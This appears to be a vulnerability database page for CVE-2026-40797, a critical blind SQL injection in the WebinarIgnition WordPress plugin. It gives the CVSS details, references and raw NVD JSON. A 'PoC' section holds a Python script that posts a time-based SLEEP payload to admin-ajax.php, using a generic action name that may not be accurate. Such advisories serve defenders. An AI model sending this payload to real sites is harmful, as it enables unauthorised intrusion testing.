CVE-2026-40797

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saleswonder LLC WebinarIgnition allows Blind SQL Injection. This issue affects WebinarIgnition: from n/a through 4.08.253.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

WebinarIgnition <= 4.08.253

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (example)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Payload for Blind SQL Injection (Time-based)
# Check if the database response takes more than 5 seconds
payload = {
    "action": "webinarignition_action", 
    "id": "1 AND (SELECT SLEEP(5))" 
}

try:
    response = requests.post(target_url, data=payload, timeout=10)
    # Analyze response time to confirm vulnerability
    if response.elapsed.total_seconds() >= 5:
        print("Vulnerability confirmed: SQL Injection detected.")
    else:
        print("Vulnerability not detected or patched.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40797
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40797
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40797/
[4] VulDB https://vuldb.com/cve/CVE-2026-40797
[5] https://patchstack.com/database/wordpress/plugin/webinar-ignition/vulnerability/wordpress-webinarignition-plugin-4-06-08-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40797", "sourceIdentifier": "[email protected]", "published": "2026-05-05T07:16:00.440", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saleswonder LLC WebinarIgnition allows Blind SQL Injection.\n\nThis issue affects WebinarIgnition: from n/a through 4.08.253."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/webinar-ignition/vulnerability/wordpress-webinarignition-plugin-4-06-08-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}